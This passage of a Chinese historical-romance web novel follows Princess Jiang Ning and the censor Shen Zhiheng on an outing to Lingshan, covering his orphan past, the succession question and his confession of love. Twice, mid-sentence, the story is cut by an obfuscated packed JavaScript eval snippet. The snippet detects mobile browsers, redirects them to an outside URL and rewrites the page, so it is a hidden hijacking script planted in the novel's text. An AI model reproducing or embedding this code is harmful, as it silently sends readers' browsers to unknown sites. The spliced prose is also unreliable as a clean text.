正思忖间，沈之衡忽而开口，声音如晚风拂柳：“微臣听闻北郊凌山近日秋色正浓，不知殿下可愿与微臣同游？” 这突兀的邀约令姜宁猝不及防，她下意识地逃避，一口回绝：“不愿。” 沈之衡极轻地笑了一声，随即又道：“那夜殿下托狱卒传话，言道微臣最好并非是刻意躲着殿下。如今看来，倒似殿下……在躲着微臣。” 他驻足，目光灼灼望着她，唇边笑意深深浅浅。 姜宁随之停步，心头掠过一丝窘迫，面上却强作往日的从容：“沈大人多虑。本宫不过近日疲乏，懒于出行罢了。” 沈之衡笑意更深：“难道殿下不想知晓，陛下颁旨前夕，召微臣所谈何事么？” “你！” 他在明明白白地撒下诱饵，毫不掩饰！ 可她……偏偏还就想吃上这口饵料！ 姜宁咬牙：“何时出游？” “明日，辰时末，如何？” 姜宁眉梢微挑：“本宫记得，明日并非休沐日。沈大人不用上值么？莫不若大人先将那夜情形告知本宫？出游之事，容后再议？” 沈之衡低眸浅笑，随后耐心解释：“萧家案与长江堤坝贪墨案近日初结，都察院属官皆可轮休五日。微臣……恰自明日起休。” “也罢，”姜宁终是放弃挣扎，“那便明日辰时末，北门相见。” 沈之衡微微摇头，面色仍是带着笑意：“殿下车驾过于显眼，不若与微臣同乘。明日辰时末，微臣在公主府前恭候殿下。” 姜宁无心再争：“听从沈大人安排。” 出游细枝末节，她本不在意。 言毕，她转身疾步走向宫门。 沈之衡望着她背影，心绪甚佳，亦提步跟上。 明日轮休，今日一闻她入宫请安，他便提早下值，守在这出宫的必经之路。 近一月公务缠身，他虽未寻得机会见她，却把自己的心意梳理清楚了大半。 或许在她眼中，他确是可供逗弄的臣子。 或许她往昔戏谑，只为一时新鲜，只为利用。 然，往后之事，谁可断言？ 况且，他亦觉妙笔娘子新出的那章回，剖析得颇为有理——“当公主不再逗弄御史，反生逃避之意时，她或许未察，己心，已变。” 最紧要的是，他沈之衡手中握着那道赐婚圣旨，又有何惧？ 她若逃避，他便顺着她想要的东西，将其抛出，引她相见。 只盼，来日方长。 35. 第三十五章 次日辰时，姜宁与苏七步出府门，便见一辆马车已静候阶前。 执缰绳的千五见她出来，即刻跃下车辕，躬身行礼：“殿下。” 姜宁微一颔首。 这少年看着年纪虽轻，礼数却极周全，显是长久以来的耳濡目染所致。不必多问，她也知这应是沈之衡身边亲近之人。 少年话音方落，车帘便被一双手指修长的手徐徐掀起。沈之衡端坐车内，一身靛青常服，墨发以白玉簪轻绾，正含笑望她，温声唤道—— “殿下。” 往日见他，多着绯色官袍。上一回见他穿常服，似是正月初五那夜。 那时……他穿的应是素白？恰似那夜他断然拒绝的清冷。 今日这身靛青丝绸，倒平添几分清贵之气。此外，许是近日递补入阁，眉宇间亦多了几分春风得意的从容。 姜宁搭着苏七的手臂登上马车，坐定后，隐约嗅到一缕清冽的松木香气，沁人心脾。 她忽然唇角弯起一抹玩味的笑，倾身向沈之衡凑近了些，鼻尖微动，戏谑道：“沈大人今日，倒是香得很。” 本以为他会如往常般失措，不料沈之衡只微微侧首，迎上她的目光，声线平稳：“那殿下可喜欢？” 姜宁的身形蓦然一僵，笑意顿敛，坐回原位，鬼使神差般脱口而出：“本宫还是更喜大人身上往日那缕墨香。” 沈之衡轻笑一声，温言道：“嗯，微臣记下了。” 空气中骤然弥漫开一丝微妙的暧昧。 直至此刻，姜宁才后知后觉自己方才说了什么。 什么叫做喜欢他身上的…… 那缕墨香？？？ 她眉头微蹙一瞬，倏然将视线转向一旁，隔着车帘吩咐：“苏七，启程吧。” “是，殿下。” 随着苏七应声，马车粼粼启动，蹄声哒哒，清脆入耳。 姜宁寻了个舒适姿势，轻倚锦垫，问道：“往日常见向少卿与大人同行，今日怎不见他一同？” 沈之衡回望她，极耐心地解释：“向少卿今日未休沐，另有公务在身。” 姜宁了然，不再多言，阖目欲眠。 对面那人却主动提起：“殿下不问问那夜陛下召见微臣，所为何事么？” 姜宁语带慵懒：“若我是大人，必会选择返京途中再告知。故而……” 她轻哼一声，“此时问了也是白问。” “殿下聪慧。” “彼此彼此。”姜宁回得漫不经心。 能想到以此诱她同游，倒真不似他往日作风。 她倏然睁眼，眼睫轻颤：“沈大人。” “嗯？” “为何邀本宫同游凌山？” “殿下当真想知？” “嗯。” 沈之衡目光灼灼，薄唇微启：“因为……” “罢了罢了，本宫困了，不想听了。”姜宁骤然打断他未竟之语，迅速阖上眼眸，不多时便沉沉睡去。 沈之衡无奈轻笑，静静凝视她的睡颜，心湖亦随着她均匀的呼吸，漾开圈圈涟漪。 往日，他会因这悸动而惶惑不安。 此刻，他只觉心安，只想细细品味这份心动，感受她在侧的每一刻。 岁月静好，莫过如是。 约莫一个多时辰后，马车方抵达凌山山麓。 在沈之衡轻声呼唤下，姜宁意识朦胧：“到了？” “嗯，殿下，到了。”沈之衡声线极轻。 随着他靠近，那抹松木香气愈发清晰。 好香……当真沁人心脾…… 姜宁无意识地伸手，攥住他腰间玉佩的流苏，将他向自己轻轻一带。 沈之衡本俯着身，猝不及防被这一拉，重心顿失，向姜宁倾去。他急忙伸手撑住车厢壁稳住身形，额角却仍无可避免地轻撞上她的发髻。 姜宁吃痛睁眼，神思骤然清明：“你……” 她正欲发作，话音未落却见自己指尖正缠着他玉佩流苏，将后半句话咽了回去，同时松开了手。 随即，她佯作无事，略整衣襟，掀帘下车。 沈之衡见她如此，亦未多言，只将腰间的玉佩扶正，随她下了马车。 车外，苏七与千五见二人相继而出，面色皆泛红晕，虽心有揣测，但皆未敢多言。 四人一时默然相对。终是千五率先打破沉寂：“殿下，大人，此处僻静，属下留守看车，便不随行登山了。” 沈之衡颔首：“如此也好。”他转向姜宁，“殿下，那我们走吧？” “嗯。”姜宁侧身吩咐苏七：“苏七，有劳你在后随行，暗中护卫。” “是，殿下。”苏七抱拳领命。 言罢，姜宁回望沈之衡，二人并肩踏上登山的石阶。 恰如沈之衡所言，凌山秋色正浓，层林尽染。 天色阴沉晦暗，时有雁阵南飞。 “殿下以往可常登高赏景？”沈之衡忽而开口。 姜宁淡声回道：“在长安时有过。在昆仑时……”她语声微顿，未再续言。 沈之衡侧首看她，似不在意昆仑，只问：“殿下在长安的生活如何？” “长安岁月，乏善可陈。”姜宁语气默然，不愿多言。 沈之衡不再追问。待行近山顶，他又主动说道：“那殿下，可愿听听微臣的过往？”语带一丝恳请。 姜宁抬眼：“但说无妨，横竖本宫也无损失。” 沈之衡微微一笑，声线轻柔：“好，那微臣说与殿下听。” 他似下定了决心，缓声道：“殿下可知，微臣，实为孤儿。” 闻此，姜宁心下一诧，驻足望向他：“本宫不知。” 去岁她曾查阅六品以上官员档案，包括沈之衡。印象中他籍贯蜀郡，家世清白，并未提及父母双亡。 此念一闪，她倏然惊觉不对。以沈之衡性情，若父母健在，高中后必接至京中奉养。然而这些年来，京中从未有此风声。 沈之衡解释道：“微臣本应姓莫。沈姓，是随养父所姓。养父于天元十七年故去。” 天元十七年，正是他高中状元的前一年。 “那……沈大人的生身父母呢？”姜宁问道，脑中掠过无数猜想。 沈之衡回望她，面露怅然，轻声道：“莫家原是蜀郡掌管铜铁与盐业的皇商。二十三年前，遭遇大火，阖家上下殒命。” 他顿了顿，续道：“蜀郡宋夫人与莫夫人是闺中手帕交。彼时宋夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370904|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人刚诊出喜脉，莫夫人心喜，前往探望。因身子不适，当夜便留宿宋家。” 姜宁静默聆听。 “其后，莫家当夜突遭大火，莫夫人闻讯，悲恸过度，产下一名男婴后便撒手人寰。” 沈之衡轻叹一声，苦笑：“那名男婴……便是微臣。” 姜宁心下骇然，她不知他身世如此坎坷。即便天元二十三年在他首次弹劾她后，她曾遣人细查蜀郡，也未探见他与宋家有何关联。 她唇瓣微启，欲出言慰藉，终觉任何言语皆苍白无力。转而问道：“后来呢？莫家那场大火，是天灾……还是人祸？” 沈之衡引她继续上行，目光投向远处山巅初露的亭尖，低声道：“后来，宋家主察觉事有蹊跷，便对外宣称莫夫人难产而亡，幼子未能存活。私下里，将微臣送至一位姓沈的私塾先生处抚养。” “原是如此。”姜宁默然片刻，望向他又问：“此事隐秘，鲜为人知。大人今日主动告知，是有何打算？” 沈之衡回望她，此时二人已行至亭外。他沉声道：“今岁三月，微臣奉旨协理吏部，肃清积弊，渐渐查得莫家当年与京中有所往来。但五月时，唯一知情人武库清吏司主事陈勇和，于家中‘自缢’。” 言至于此，姜宁很快敏锐地捕捉到其中关窍，呢喃道：“二十三年前，武库，”她眼神骤然清明：“大人是怀疑，此事与萧家通敌案有关？” “殿下明鉴，”沈之衡投以赞许目光，续道：“此事或与萧家通敌有涉。后来在大理寺搜查中，于陈勇和密室发现一页未烧尽的信笺，其上只言片语，皆暗示陈勇和背后，或是汪家。不过此风声，未透露出去。” “如此说来，汪家与二十三年前的通敌案亦有牵连？”姜宁道出心中所想，渴求他的确认。 “嗯，此事可容后再议。但此刻，微臣想先告知殿下，那夜陛下召见，所议何事。” 沈之衡略作停顿，目光深邃：“那夜，是为商议最终的储君人选。” “父皇之意是？”姜宁眼底泄出一丝难掩的急切。 “陛下有二策。一者，立太子，废汪家。二者……”沈之衡目光沉静地看向她，“立三皇子，由殿下监国。但最终圣意如何，陛下尚需斟酌。” 姜宁心下一沉：“若太子继位，纵使汪家倾覆，他又岂能容得下本宫与苏家？” “陛下有言，无论哪位皇子继位，微臣皆会执掌中枢，任内阁首辅之位。故而，”沈之衡微顿，带上一分决断，“殿下不必忧心，微臣必会护佑殿下与苏家周全。此亦为陛下将首辅之位托付于微臣的深意。” 姜宁抬眸：“如此说来，沈大人是更属意太子？” 若姜齐登基，汪家覆灭，凭他帝师之尊与新朝首辅之位，自是比辅佐幼主姜霖更显尊荣，也更得心应手。毕竟，姜霖背后，还有她姜宁。 沈之衡并未直接应答，只是凝视着她，声音平稳却清晰：“当夜，陛下也曾问询微臣之意，微臣未敢妄言，只道谨遵圣裁。” 他话音微顿，目光深邃，“然，微臣今日想告知殿下，微臣私心之所向，实为三皇子。” 空气骤然凝住，与此同时，他清冷的声音又起—— “殿下，可愿与微臣同行？” 36. 第三十六章 这是沈之衡，第二次向她伸出结盟之手。 上一次，在都察院台狱深处，他说：“若殿下所愿亦是山河清晏，微臣……愿为殿下盟友。” 这一次，在凌山孤亭之下，他问：“殿下可愿与微臣同行？” 前次是试探，此番已是直白相邀。 姜宁默然良久，迎上他的目光：“既为盟友，沈大人，所求为何？” 沈之衡神色坦荡：“微臣于殿下，别无所求。” 言罢，他望向远处的京城，声线低沉：“若问微臣心之所愿，唯二事而已。一愿，海晏河清，盛世长安。” “二愿……”他侧身，目光灼灼，向姜宁深深一揖：“二愿殿下，岁岁安康，余生喜乐。” 姜宁心口骤然一紧。 他此言，是在表明心迹么？ 她下意识又想逃避，可望着他谦卑垂首的姿态，脚步却似被定在原地，喉间也发不出半点声响。 沈之衡直起身，修长的手指自然垂落，目光沉静却又炽热，眼底的情愫恰似春日里燎原之火，无声而汹涌，他说—— “微臣，倾慕殿下。” 他声线极轻，字字清晰而恳切。 须臾之间，姜宁只觉耳尖骤然滚烫，心口酥麻，一股混杂着忐忑、不安、乃至一丝隐秘欢欣的情绪悄然蔓延。 那日梦境的景象恍然重现，她坐上喜轿之时，满心期盼的驸马，是他沈之衡。 在她看来，沈之衡千般皆好。若她真要择一人为驸马，必是非他莫属。 难道……她亦对他动了心？ 姜宁不愿深想，目光掠过他肩头，望向渺远天际，轻叹一声：“情爱二字，又能维系几时？” 此问，既是问他，亦是问自己。 话音刚落，山间忽地飘起细雪。 姜宁收回视线，面色平静，声音带着一丝清冷：“沈大人今日或确对本宫有几分情意。但在本宫看来，世间最易更改的，便是这虚无缥缈的爱念。故而……” 她一字一句，清晰道：“本宫不愿踏入这张名为‘爱慕’的罗网。” 对此回应，沈之衡似乎并不意外。他唇角牵起一抹极淡的笑意，喉结微动：“那殿下对微臣，可曾有过片刻心动？” 姜宁愕然，未料他竟问得如此直白。 她张口欲要否认，但面对他灼灼目光，面对那反复萦绕的梦境，此刻的她，无法自欺。 “或许……有过。” 顿了顿，她又道：“但，那又如何？纵使今日本宫确对大人有几分心动，他日亦可能对旁人……” 余音未落，沈之衡已上前将她拥入怀中。 他身上的暖意与清冽松香，顷刻间将她全然包裹。 她那未尽之语哽在喉间，终是咽了回去。 她竟有些贪恋这一瞬的温存。明明心跳极快，却又感到异样安心。 那双本欲推开他的手悬在半空，最终情不自禁地攥紧了他腰侧的衣袍。 她默然，静听他清冽的嗓音在耳畔响起，字句清晰： “诚如殿下所言，爱慕或许是世间最易变之物。微臣此刻亦无法向殿下证明此情之久长。但微臣愿向殿下起誓——微臣之情，绝不会浅于殿下分毫。只要殿下仍愿留在微臣身侧一刻，此心，不改。” 他低头凝视她，一字一句，无比郑重：“殿下可愿信微臣一次？可愿试试此情之深浅？若他日，殿下又心系他人，微臣绝不强求。” 他眸中的情意似在蛊惑她，诱她沉沦，诱她相信。 姜宁只觉浑身发烫。她竟想……与他靠得更近些。 但又另有几分理智仍在耳畔警示，勿要深陷。 心绪交战良久，她终是阖上眼，指尖轻轻搭在他腰间，低声轻语：“那便……试上一试。” “好。”他低声应道，嗓音难掩一丝激动所致的微颤，将她拥得更紧。 良久，姜宁倏然想起苏七仍在远处护卫，顿觉几分赧然，轻轻推开沈之衡，低声道：“本宫……我有些饿了。” 此刻再面对他，她似难复往日居高临下的姿态。二人如今……算已互明心意了么？ 沈之衡垂首凝视她，情难自禁地轻吻她的发丝，温声道：“那便下山？马车里备了点心，”他含笑，“是微臣向陛下讨来的桂花酥。” 姜宁抬眸：“桂花酥？” 沈之衡微微颔首：“此前在庆元殿与陛下议政，曾听陛下提及，此乃殿下钟爱之物。” 姜宁心间似有暖流淌过：“沈大人当真是……” “嗯？”沈之衡轻应。 姜宁粲然一笑，贴近他耳畔轻语：“当真是心细。” “那殿下可喜欢？”他眉峰微挑。 姜宁轻抿唇角，眼底漾着笑意：“尚可，还算受用。” 言罢，她将手搭上他伸出的掌心，指尖被那人轻轻握住，心底再度涌起一阵令人悸动的酥麻。 瞧着他抑制不住上扬的嘴角，她亦不禁莞尔。 步下孤亭石阶时，她驻足回望。远处京城在细雪笼罩下，显出一派宁和气象。 她侧首望向身畔之人，而他亦正凝视着她。 若与君偕行，纵使万里风雪，又何足为惧？她暗想着。 山麓下，千五见风雪渐大，正忧心沈之衡与姜宁，远远望见二人执手而来，霎时瞪大了双眼。 他难以置信地揉了揉眼，确认并非错觉，一时之间，惊诧盖过了担忧。暗忖着今日向少卿未同行，实乃错过一场好戏。 二人身后的苏七虽面色沉静如常，但眼底那抹同样的惊诧，亦是难以遮掩。 行至马车前，沈之衡对千五欲言又止的神情视若无睹，眼神却似明示：“有何疑问，回府再言。” 他小心搀扶姜宁登上马车，随即跟上，落下车帘。二人相对而坐。 马车粼粼行出不过数丈，他便忍不住试探轻问：“不知微臣可否坐于殿下身侧？” 姜宁轻笑，虽未语，却微微颔首。 得此应允，沈之衡即刻起身，敏捷地落座于姜宁身旁。 随后，他开启食盒，露出其中金黄酥点，“殿下既言饥饿，可先以此桂花酥暂缓？待返京后，我们再另寻佳肴。” 姜宁语带慵懒，似含戏谑：“沈大人不亲自喂予本宫么？” 沈之衡微怔，唇角漾开笑意，拈起一块桂花酥送至她唇边：“殿下可是要微臣如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376720|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效劳？” 于此道，他并无经验。更确切而言，是毫无经验。 姜宁见状，亦轻笑出声：“沈大人当真趣致。” 她抬手接过他手中的酥点，指尖若有似无地掠过他手背，将桂花酥送入唇间。 沈之衡自袖中取出锦帕，适时递上。 姜宁垂首擦拭指尖，神色稍正，忽道：“沈大人以为，此后当如何行事？” 自凌山而下，她的理智已渐渐恢复。 沈之衡知她所问乃争储之谋，沉声反问：“殿下可是已有成算？” 姜宁迎上他探询的目光，声线微冷：“我欲逼姜齐谋反，沈大人以为如何？” 空气骤然凝滞一瞬。 察觉他眼底掠过的一丝迟疑，姜宁又道：“沈大人才言欲为本宫盟友，此刻便已动摇，不忍对自己的学生出手了么？”语气带着几分嘲弄，毫不容情。 她心下冷嗤，似欲印证爱念果然虚无易变。 沈之衡并未直接回应她的质问，亦未避开她审视的目光。 他覆上姜宁的手背，缓声道：“殿下可还记得，那夜浮月桥畔，殿下曾问过微臣一个问题。” 姜宁唇瓣微启，语带慵懒：“那夜，本宫所问甚多。不知大人所指为何？” 她试图抽回指尖，却被他牢牢握住，带着不容挣脱的力道。 沈之衡极耐心道：“那夜，殿下曾问微臣，若有朝一日，需在黎民苍生与心头所重间择其一，微臣会如何取舍。” 姜宁略作回想，确有此问，彼时他未曾回应。 她抬眸看他：“那沈大人，会如何选？” “微臣，不做选择。” 她轻笑：“世事岂能尽如人意。沈大人此言，是否过于笃定？” “并非是微臣笃定。而是因为……”他顿了顿，目光沉静地直视她，“殿下与微臣，始终皆立于黎民苍生一侧。” 自风雪初遇那日，她明知他是威胁，却因他的理想，选择雪中相救伊始，他们所求，不过是殊途同归。 闻此言，姜宁心尖一颤，仿若心思被洞穿，下意识又想回避。然而此处，已无处可逃。 沈之衡目光温柔且坚定地看着她：“微臣方才迟疑，并非是不愿与殿下同心，亦非心有动摇。微臣深信，纵使逼迫太子谋反，殿下亦会设法留他性命。” 他续道：“微臣迟疑，只因殿下骤然的疏冷与刻意的试探。既为盟友，殿下可信微臣，不必如此。” 她一时语塞，千言万语哽在喉间，最终只化作一声低唤：“沈大人……” “自京城至长安，再归京城，微臣明白殿下昔年每一步皆走得艰难。故而殿下行事常以命相搏，亦难信人情暖意。今日能得殿下片刻信任，已是微臣之幸。 “然，微臣仍想恳请殿下，莫再寻由推拒微臣。” 此番言语，字字将她剖析得透彻分明，却又句句宛若承诺。 姜宁回望他目光，释然般轻声应道：“好。” 话音方落，沈之衡倾身向前，将她拥入怀中，“殿下，纵使前程万里风雪，微臣亦会陪殿下同行。” 姜宁未言，阖上眼，只是静静聆听他的心跳与呼吸声。